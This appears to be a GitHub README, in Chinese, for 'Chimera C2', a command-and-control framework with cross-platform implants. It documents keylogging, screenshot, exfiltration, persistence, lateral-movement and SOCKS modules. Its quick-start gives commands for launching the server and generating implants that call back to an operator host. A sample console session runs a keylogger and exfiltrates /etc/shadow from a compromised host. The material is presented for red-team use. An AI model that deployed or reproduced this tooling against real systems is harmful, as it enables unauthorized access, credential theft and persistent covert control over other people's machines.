Adam-ZS/Chimera-C2

GitHub: Adam-ZS/Chimera-C2

一个多传输通道的全功能 C2 框架,提供服务端控制台与跨平台植入端,内置键盘记录、文件外发、横向移动、SOCKS 代理等后渗透模块,面向红队行动与对手模拟场景。

Stars: 0 | Forks: 0

# 🧬 Chimera C2 — 多传输命令与控制 Chimera 是一个功能齐全的 C2 框架,结合了服务端操作员控制台与跨平台 implant。它支持多种传输通道、加密通信以及模块化的后渗透工具包。 **适用场景:** 红队行动、对手模拟、后渗透评估。 ## 架构 ``` ┌──────────────┐ ┌──────────────────────┐ ┌──────────────┐ │ Operator │────▶│ Chimera Server │◀────│ Implant │ │ Console │◀────│ (Listener + Tasks) │────▶│ (Target) │ └──────────────┘ └──────────────────────┘ └──────────────┘ │ ┌───────┴───────┐ │ │ HTTPS:8443 DoH:8444 WebSocket:8445 ``` ## 功能 | 组件 | 功能 | |-----------|-------------| | **Server** | 多监听器(HTTPS、DNS-over-HTTPS、WebSocket)、任务队列、会话管理、交互式操作员控制台 | | **Implant** | Python/PowerShell/Bash 生成器、加密 beaconing、命令执行、模块系统 | | **Keylogger 模块** | 在目标上启动/停止/导出击键记录 | | **Screenshot 模块** | 带有自动外发功能的远程屏幕捕获 | | **Exfil 模块** | 通过加密通道从目标拉取文件 | | **Persistence 模块** | 注册表持久化(Windows) / crontab 持久化(Linux) | | **横向移动模块** | 将 implant 部署到相邻主机 | | **SOCKS Proxy 模块** | 通过受控主机路由流量 | | **Info 模块** | 详细的会话侦查 | ## 快速开始 ### 1. 启动 Server ``` # 克隆或下载 git clone https://github.com/Adam-ZS/chimera cd chimera # 启动 C2 server python3 chimera.py server --host 0.0.0.0 --port 8443 # 使用自定义加密密钥 python3 chimera.py server --host 0.0.0.0 --port 8443 --key "MyS3cr3tK3y!" # 自定义数据目录 python3 chimera.py server --host 0.0.0.0 --port 8443 --data-dir /opt/chimera_data ``` ### 2. 生成 Implant 在操作员控制台中: ``` chimera ❯ generate ═══ Generate Implant ═══ 1) Python (Linux/macOS/Windows) 2) PowerShell (Windows only) 3) Bash (Linux/macOS) Select type [1]: 1 LHOST [0.0.0.0]: 192.168.1.100 LPORT [8443]: 8443 Transport [https]: https Beacon interval (s) [10]: 5 ✔ Implant saved: chimera_data/payload_chimera_https.py ``` 或通过命令行: ``` # 以 generate-only 模式启动 server python3 chimera.py generate --host 192.168.1.100 --port 8443 --key "K3y!" ``` ### 3. 部署与交互 将生成的 implant 部署在目标上: ``` # Python implant (Linux/macOS/Windows) python3 payload_chimera_https.py ``` 返回操作员控制台: ``` chimera ❯ sessions ═══ Sessions (1) ═══ ID Hostname IP Last Seen ─────────────────────────────────────────────────────────────────────────── a1b2c3d4 DC01 192.168.1.10 2026-06-11 21:30 chimera ❯ use a1b2c3d4 ═══ Interacting with a1b2c3d4 ═══ Target: DC01 @ 192.168.1.10 OS: linux User: root Elevation: True Available modules: shell, keylog, screenshot, exfil, persist, lateral, info, kill, socks DC01 ❯ whoami [*] Running: whoami [+] stdout: root DC01 ❯ keylog start [+] Keylogger started on a1b2c3d4 DC01 ❯ screenshot [+] Capturing screenshot on a1b2c3d4... [+] Saved: chimera_data/exfil/a1b2c3d4_screen_1700000000.png DC01 ❯ exfil /etc/shadow [+] Exfiltrating /etc/shadow from a1b2c3d4... [+] Saved: chimera_data/exfil/shadow DC01 ❯ info Session: a1b2c3d4 hostname: DC01 user: root os: linux pid: 1234 elevated: True ip: 192.168.1.10 DC01 ❯ back chimera ❯ ``` ## Implant 类型 | 类型 | 平台 | 要求 | 持久化方法 | |------|----------|-------------|-------------------| | **Python** | Linux, macOS, Windows | Python 3.6+ | crontab / 注册表 / launchd | | **PowerShell** | Windows | PowerShell 5.0+ | 计划任务 / 注册表 | | **Bash** | Linux, macOS | bash, curl | crontab / systemd | ## 加密 所有 C2 流量均经过 XOR 加密和 base64 编码。Server 在启动时会生成一个 32 字符的随机密钥。Implant 必须使用相同的密钥才能进行通信。 ``` plaintext → XOR(key) → base64 → transport → base64 → XOR(key) → plaintext ``` 对于生产环境的部署,请替换为 AES-GCM(参见 `aes_branch`)。 ## 控制台命令 | 命令 | 描述 | |---------|-------------| | `sessions` | 列出活跃的 implant 会话 | | `use ` | 与会话进行交互 | | `listeners` | 显示活跃监听器状态 | | `generate` | 生成 implant payload | | `key` | 显示加密密钥 | | `clear` | 清除屏幕 | | `exit/quit` | 关闭 server | ### 会话命令 | 命令 | 描述 | |---------|-------------| | `shell ` | 执行系统命令 | | `keylog start/dump/stop` | 击键记录 | | `screenshot` | 远程屏幕捕获 | | `exfil [local]` | 文件外发 | | `lateral ` | 横向移动 | | `socks [port]` | SOCKS 代理 | | `persist [method]` | 安装持久化 | | `info` | 会话信息 | | `kill` | 终止 implant | | `back` | 返回主控制台 | ## 要求 - Python 3.6+ - 仅需标准库(server 模式) - 无外部依赖 ## OPSEC - 所有流量均通过加密传输路由 - Implant 按可配置的时间间隔进行 beaconing - 默认情况下,不会在目标上写入持久化文件 - 通过 server 命令控制紧急停止 - 通过受控主机进行 SOCKS 代理 ## 许可证 MIT ## 作者 **Adam-ZS** — Wraithe & Chimera 开发者
标签:AI合规, C2框架, IP 地址批量处理, PE 加载器, 命令与控制, 安全学习资源, 应用安全, 逆向工具